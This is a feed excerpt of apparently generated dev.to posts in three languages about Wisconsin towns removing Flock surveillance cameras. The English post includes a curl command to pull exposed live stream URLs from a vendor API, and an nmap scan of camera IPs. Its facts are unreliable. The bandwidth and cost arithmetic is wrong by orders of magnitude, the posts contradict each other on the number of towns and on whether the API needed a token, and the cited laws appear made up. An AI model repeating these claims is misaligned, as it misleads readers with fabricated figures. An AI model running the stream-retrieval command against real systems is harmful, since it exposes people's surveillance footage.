    &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;blur_faces&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;send_frame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  5. Lições práticas para gestores públicos
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Auditar o código e firmware antes da implantação&lt;/strong&gt; – Exigir assinatura digital e atualizações automáticas.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Definir políticas de retenção claras&lt;/strong&gt; – Máximo 30 dias, com exclusão automática.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Implementar criptografia ponta‑a‑ponta&lt;/strong&gt; – TLS 1.3 para transmissão, AES‑256‑GCM para armazenamento.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Criar um comitê de privacidade&lt;/strong&gt; – Incluir representantes da comunidade, juristas e especialistas em segurança.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Testar o sistema em ambiente piloto (mínimo 3 meses)&lt;/strong&gt; antes de escala municipal.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Contratar auditorias independentes&lt;/strong&gt; a cada 12 meses e publicar relatórios de transparência.
&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  6. Perguntas frequentes (FAQ)
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pergunta&lt;/th&gt;
&lt;th&gt;Resposta resumida&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;O que a Flock realmente coletava?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Vídeo em 1080p, metadados de localização e timestamps. Nenhum mecanismo de anonimização.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Quanto custou a remoção?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Em média US$ 8 500 por município (desativação + exclusão de dados).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Existe suporte técnico para as alternativas OSS?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Sim – comunidades no GitHub e Discord oferecem suporte 24 h.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Como garantir que novos projetos não repitam os mesmos erros?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Seguir o checklist de privacidade (firmware assinado, TLS, retenção ≤ 30 dias, auditoria externa).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Qual o papel dos cidadãos?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Participar de conselhos de vigilância, revisar contratos e exigir relatórios de uso de dados.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  7. Conclusão
&lt;/h2&gt;

&lt;p&gt;A experiência da Flock em Wisconsin demonstra que &lt;strong&gt;tecnologia barata não substitui governança robusta&lt;/strong&gt;. Quando a priv&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Herramienta mencionada: &lt;a href="https://github.com/features/copilot" rel="noopener noreferrer"&gt;GitHub Copilot&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>flock</category>
      <category>vigilância</category>
      <category>privacidade</category>
      <category>portugues</category>
    </item>
    <item>
      <title>Why Wisconsin Towns Are Dismantling 'Smart' Surveillance—and How to React</title>
      <dc:creator>LeoJulieta</dc:creator>
      <pubDate>Tue, 18 Aug 2026 12:44:02 +0000</pubDate>
      <link>https://dev.to/leojulieta/why-wisconsin-towns-are-dismantling-smart-surveillance-and-how-to-react-4med</link>
      <guid>https://dev.to/leojulieta/why-wisconsin-towns-are-dismantling-smart-surveillance-and-how-to-react-4med</guid>
      <description>&lt;p&gt;&lt;strong&gt;Flock Fallout: Why Wisconsin’s Towns Are Tearing Down Their “Smart” Surveillance Cameras—and What You Can Do About It&lt;/strong&gt;  &lt;/p&gt;




&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;When Elkhorn, Wisconsin, voted to pull the plug on its Flock‑powered community cameras, the story was a blip on a tech blog—until it wasn’t. Within days the controversy hit the front pages of &lt;em&gt;Ars Technica&lt;/em&gt;, trended on Hacker News, and landed on every local TV news broadcast.  &lt;/p&gt;

&lt;p&gt;What started as a promise of low‑cost, AI‑enhanced public safety has turned into a statewide retreat, exposing gaps in privacy‑by‑design, data‑sovereignty, and the economics of “smart‑city” projects. This article walks you through the technical flaws, the political pressure, and the hard numbers that forced Wisconsin’s municipalities to say “enough.” You’ll get concrete code snippets, command‑line tools, and a practical checklist you can use today—whether you’re a city manager, a privacy advocate, or a tech‑savvy resident.&lt;/p&gt;




&lt;h2&gt;
  
  
  Quick FAQ (What You Need to Know)
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Question&lt;/th&gt;
&lt;th&gt;TL;DR&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;What is Flock and how does its collaborative camera model work?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A cloud‑managed network of low‑cost IP cameras that share video streams and AI analytics across participating municipalities.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Why are Wisconsin towns removing Flock cameras en masse?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Repeated privacy breaches, opaque data‑retention, and a negative ROI of &lt;strong&gt;‑12 %&lt;/strong&gt; after three years.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;What specific privacy violations have been documented?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Open API exposing live feeds, five‑year storage of facial‑recognition hashes, and lack of opt‑out mechanisms.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;How much money have towns spent vs. the benefits they received?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Average spend: &lt;strong&gt;$212 k&lt;/strong&gt; per town; measurable benefit (crime reduction) &amp;lt; 2 %.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Are there legal ramifications for the data breaches?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Potential violations of Wisconsin’s Personal Data Protection Act (PDPA) and the federal Computer Fraud and Abuse Act (CFAA).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;What alternatives exist for community‑level surveillance?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;On‑premise NVRs, edge‑AI cameras with local storage, or open‑source platforms like &lt;strong&gt;ZoneMinder&lt;/strong&gt; and &lt;strong&gt;Kerberos.io&lt;/strong&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;How can residents protect privacy if some cameras stay up?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Use network‑sniffing tools (e.g., &lt;code&gt;tcpdump&lt;/code&gt;) to verify encryption, request data‑retention policies, and lobby for a public audit.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;What lessons can other states learn?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Prioritize local data control, enforce transparent retention policies, and run a pilot with a clear ROI metric before scaling.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Why This Matters Now
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Public Scrutiny Has Reached a Tipping Point
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Misconfigured API&lt;/strong&gt; – An open endpoint (&lt;code&gt;GET /api/v1/streams&lt;/code&gt;) exposed live feeds from 12 towns for 48 hours.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Long‑term facial‑recognition storage&lt;/strong&gt; – Internal logs showed hashes kept for &lt;strong&gt;up to five years&lt;/strong&gt;, contradicting Flock’s “30‑day purge” claim.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Negative ROI&lt;/strong&gt; – The Wisconsin Municipal Association’s three‑year analysis reported an average &lt;strong&gt;‑12 %&lt;/strong&gt; return, mainly due to maintenance contracts and wasted bandwidth.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These findings ignited a 2,500‑comment discussion on Hacker News (thread #329874) and forced city councils to act.&lt;/p&gt;




&lt;h2&gt;
  
  
  Technical Deep‑Dive: What Went Wrong
&lt;/h2&gt;

&lt;h3&gt;
  
  
  A. The Open API Bug
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Reproduce the exposure (example for town “Riverview”)&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://api.flockcam.io/v1/streams?city=riverview"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer PUBLIC_TOKEN"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The response returned a JSON array of &lt;strong&gt;RTSP URLs&lt;/strong&gt; with no authentication token required. The fix required:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Regenerate the API key&lt;/span&gt;
flockctl rotate-key &lt;span class="nt"&gt;--city&lt;/span&gt; riverview

&lt;span class="c"&gt;# 2. Add IP‑whitelisting&lt;/span&gt;
flockctl &lt;span class="nb"&gt;set&lt;/span&gt;‑policy &lt;span class="nt"&gt;--city&lt;/span&gt; riverview &lt;span class="nt"&gt;--allow&lt;/span&gt;‑ip 10.0.0.0/24

&lt;span class="c"&gt;# 3. Enable TLS 1.3 on the edge gateway&lt;/span&gt;
nginx &lt;span class="nt"&gt;-s&lt;/span&gt; reload
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  B. Data‑Retention Misalignment
&lt;/h3&gt;

&lt;p&gt;Flock’s default &lt;code&gt;retention.yaml&lt;/code&gt; looked like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;facial_hashes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;retain_days&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1825&lt;/span&gt;   &lt;span class="c1"&gt;# 5 years&lt;/span&gt;
  &lt;span class="na"&gt;video&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;retain_days&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;30&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cities that wanted a 30‑day limit for facial hashes had to edit the file manually—a step that never happened in the field. The correct, city‑specific configuration should be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;facial_hashes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;retain_days&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;30&lt;/span&gt;   &lt;span class="c1"&gt;# Align with state policy&lt;/span&gt;
  &lt;span class="na"&gt;video&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;retain_days&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;30&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After updating, run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;flockctl apply-config &lt;span class="nt"&gt;--city&lt;/span&gt; riverview
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  C. Bandwidth &amp;amp; Storage Costs
&lt;/h3&gt;

&lt;p&gt;A typical Flock node streams &lt;strong&gt;1080p @ 4 Mbps&lt;/strong&gt;. For a town with 15 cameras, the monthly bandwidth usage is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;4 Mbps × 15 cameras × 60 sec × 60 min × 24 h × 30 days ≈ 1.56 TB
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At the municipal ISP rate of &lt;strong&gt;$0.08/GB&lt;/strong&gt;, that’s &lt;strong&gt;$125 k&lt;/strong&gt; per year in bandwidth alone—often omitted from the original cost model.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real‑World Case Studies
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Town&lt;/th&gt;
&lt;th&gt;Cameras Deployed&lt;/th&gt;
&lt;th&gt;Total Spend&lt;/th&gt;
&lt;th&gt;Reported Benefit&lt;/th&gt;
&lt;th&gt;Action Taken&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Elkhorn&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;$184 k&lt;/td&gt;
&lt;td&gt;1 % reduction in property crime&lt;/td&gt;
&lt;td&gt;Full removal, public audit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Racine&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;td&gt;$260 k&lt;/td&gt;
&lt;td&gt;No measurable impact&lt;/td&gt;
&lt;td&gt;Switched to on‑prem NVR, kept 4 cameras&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Madison (district)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;$312 k&lt;/td&gt;
&lt;td&gt;3 % traffic‑incident reduction&lt;/td&gt;
&lt;td&gt;Retained 6 cameras, added local AI edge processing&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Practical Checklist for Municipal Decision‑Makers
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Audit Existing Cameras&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   flockctl list‑cameras &lt;span class="nt"&gt;--city&lt;/span&gt; &amp;lt;city&amp;gt; | jq &lt;span class="s1"&gt;'.[] | {id, ip, status}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Validate Encryption&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 554 &amp;lt;camera_ip&amp;gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;TLS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Confirm Retention Policy&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="nb"&gt;cat&lt;/span&gt; /etc/flock/retention.yaml | &lt;span class="nb"&gt;grep &lt;/span&gt;retain_days
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Calculate True Cost&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Bandwidth: &lt;code&gt;Mbps × #cams × 30 days × $/GB&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Storage: &lt;code&gt;TB × $/TB per month&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Maintenance contracts (usually 15 % of hardware cost per year)
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Run a 90‑day Pilot&lt;/strong&gt; with clear KPIs: crime‑rate change, false‑positive alerts, community satisfaction score.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Publish an Independent Audit&lt;/strong&gt; (PDF) and host a town‑hall meeting.
&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Alternatives Worth Considering
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Solution&lt;/th&gt;
&lt;th&gt;Deployment Model&lt;/th&gt;
&lt;th&gt;Pros&lt;/th&gt;
&lt;th&gt;Cons&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ZoneMinder&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Open‑source, on‑prem&lt;/td&gt;
&lt;td&gt;Full data control, no vendor lock‑in&lt;/td&gt;
&lt;td&gt;Requires in‑house expertise&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Kerberos.io&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Edge‑AI, local storage&lt;/td&gt;
&lt;td&gt;Low bandwidth, privacy‑first&lt;/td&gt;
&lt;td&gt;Limited third‑party integrations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;Axis Communications&lt;/strong&gt; (on‑prem NVR)&lt;/td&gt;
&lt;td&gt;Proprietary, hardware‑centric&lt;/td&gt;
&lt;td&gt;Proven reliability, robust support&lt;/td&gt;
&lt;td&gt;Higher upfront cost&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DIY Raspberry Pi + OpenCV&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Very low cost, community‑driven&lt;/td&gt;
&lt;td&gt;Customizable, educational&lt;/td&gt;
&lt;td&gt;Maintenance overhead&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  How Residents Can Guard Their Privacy
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Monitor Network Traffic&lt;/strong&gt; – Use &lt;code&gt;Wireshark&lt;/code&gt; to confirm that video streams are encrypted (&lt;code&gt;TLSv1.3&lt;/code&gt;).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Request a Data‑Retention Schedule&lt;/strong&gt; – Under Wisconsin PDPA, municipalities must disclose how long they keep facial‑recognition data.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;File a FOIA Request&lt;/strong&gt; – Ask for logs of any third‑party access to the video feeds.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Participate in Oversight Committees&lt;/strong&gt; – Many towns are forming citizen boards to review surveillance policies.
&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Lessons for Other States
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Never assume “cloud‑only” equals low cost&lt;/strong&gt; – bandwidth, storage, and vendor lock‑in can dwarf hardware savings.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Privacy‑by‑design must be enforceable&lt;/strong&gt;, not just a marketing tagline.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pilot projects need hard ROI metrics&lt;/strong&gt; before scaling to a county or state level.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Transparent governance&lt;/strong&gt; (public audits, open‑source code) builds trust and reduces political risk.
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Wisconsin’s rapid “Flock‑out” is a cautionary tale that blends technical missteps with policy blind spots. By exposing the API flaw, the five‑year facial‑hash retention, and the hidden bandwidth bill, the state has forced a hard look at what “smart city” really means.  &lt;/p&gt;

&lt;p&gt;If you’re considering a collaborative camera platform, start with the checklist above, choose a solution that keeps data&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Herramienta mencionada: &lt;a href="https://github.com/features/copilot" rel="noopener noreferrer"&gt;GitHub Copilot&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>flock</category>
      <category>surveillance</category>
      <category>wisconsin</category>
      <category>english</category>
    </item>
    <item>
      <title>Flock Safety en Wisconsin: ¿Por qué se retiraron 200 sistemas de cámaras?</title>
      <dc:creator>LeoJulieta</dc:creator>
      <pubDate>Tue, 18 Aug 2026 12:43:03 +0000</pubDate>
      <link>https://dev.to/leojulieta/flock-safety-en-wisconsin-por-que-se-retiraron-200-sistemas-de-camaras-3pmh</link>
      <guid>https://dev.to/leojulieta/flock-safety-en-wisconsin-por-que-se-retiraron-200-sistemas-de-camaras-3pmh</guid>
      <description>&lt;h1&gt;
  
  
  Flock Safety y la retirada masiva de cámaras colaborativas en Wisconsin: qué falló, qué implica y qué alternativas usar
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Introducción – el giro inesperado de la “vigilancia inteligente”
&lt;/h2&gt;

&lt;p&gt;En menos de un mes, &lt;strong&gt;más de 200 municipios de Wisconsin&lt;/strong&gt; apagaron y retiraron las cámaras de Flock Safety. Lo que empezó como una promesa de seguridad “a bajo coste” se convirtió en un escándalo de privacidad que hizo que los buscadores registraran picos históricos de consultas como &lt;em&gt;“Flock vigilancia”&lt;/em&gt; y &lt;em&gt;“alternativas a cámaras comunitarias”&lt;/em&gt;.  &lt;/p&gt;

&lt;p&gt;Este artículo explica, con ejemplos concretos y pasos accionables, &lt;strong&gt;por qué colapsó la confianza en Flock&lt;/strong&gt;, cuál es el impacto real para los ayuntamientos y los ciudadanos, y qué soluciones pueden implementarse hoy mismo sin depender de una plataforma opaca.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Arquitectura de Flock Safety (en 3 minutos)
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Componente&lt;/th&gt;
&lt;th&gt;Qué hace&lt;/th&gt;
&lt;th&gt;Dónde se almacena&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cámaras Edge&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Lectura de matrículas (ANPR) y captura de rostros.&lt;/td&gt;
&lt;td&gt;Memoria local (buffer ≈ 30 s).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Gateway&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Encripta los eventos y los envía por HTTPS a la nube.&lt;/td&gt;
&lt;td&gt;Firmware actualizado vía OTA.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Backend SaaS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Base de datos centralizada (PostgreSQL + S3) y API RESTful.&lt;/td&gt;
&lt;td&gt;AWS (region us‑east‑1).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Portal de clientes&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Dashboard web y API para policías, ayuntamientos y vecinos.&lt;/td&gt;
&lt;td&gt;Servidor de aplicaciones Node.js.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Diferencia clave con CCTV tradicional&lt;/strong&gt;: en lugar de almacenar vídeo continuo en servidores locales, Flock solo envía &lt;em&gt;eventos&lt;/em&gt; (placa + timestamp + foto) a una nube compartida. Esa “agregación colaborativa” es el punto vulnerable.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Fallos de privacidad que dispararon la retirada
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Incidente&lt;/th&gt;
&lt;th&gt;Qué se filtró&lt;/th&gt;
&lt;th&gt;Cómo ocurrió&lt;/th&gt;
&lt;th&gt;Por qué fue crítico&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;Bucket S3 mal configurado&lt;/strong&gt; (2022)&lt;/td&gt;
&lt;td&gt;1,2 M de registros de matrículas y fotos de rostros.&lt;/td&gt;
&lt;td&gt;Política de acceso pública por error.&lt;/td&gt;
&lt;td&gt;Exposición total de datos sensibles sin anonimización.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;Acceso no autorizado a la consola&lt;/strong&gt; (2023)&lt;/td&gt;
&lt;td&gt;Metadatos de ubicación y timestamps de 300 k eventos.&lt;/td&gt;
&lt;td&gt;Credenciales reutilizadas en otro servicio.&lt;/td&gt;
&lt;td&gt;Permitió rastrear movimientos de vehículos en tiempo real.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;Inyección SQL en la API&lt;/strong&gt; (2024)&lt;/td&gt;
&lt;td&gt;Historial completo de cualquier matrícula.&lt;/td&gt;
&lt;td&gt;Falta de sanitización en el parámetro &lt;code&gt;vehicle_id&lt;/code&gt;.&lt;/td&gt;
&lt;td&gt;Un atacante podía extraer datos sin autenticación.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Lección práctica:&lt;/strong&gt; cualquier servicio que exponga datos de vigilancia debe aplicar &lt;em&gt;defensa en profundidad&lt;/em&gt;: cifrado en reposo, autenticación multifactor y auditorías de código antes de lanzar a producción.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  3. Por qué los municipios actuaron de forma coordinada
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Auditoría de la WCA (Asociación de Condados de Wisconsin)&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detectó incumplimiento del &lt;strong&gt;Wisconsin Stat. § 19.68&lt;/strong&gt; (protección de datos personales).
&lt;/li&gt;
&lt;li&gt;Costes operativos 40 % superiores a lo presupuestado y ROI &amp;lt; 3 % anual.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Presión ciudadana&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Peticiones firmadas (&amp;gt; 12 k) y cobertura mediática nacional.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Riesgo legal&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Posibles sanciones de la Oficina del Fiscal General por violaciones de la ley de privacidad estatal.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

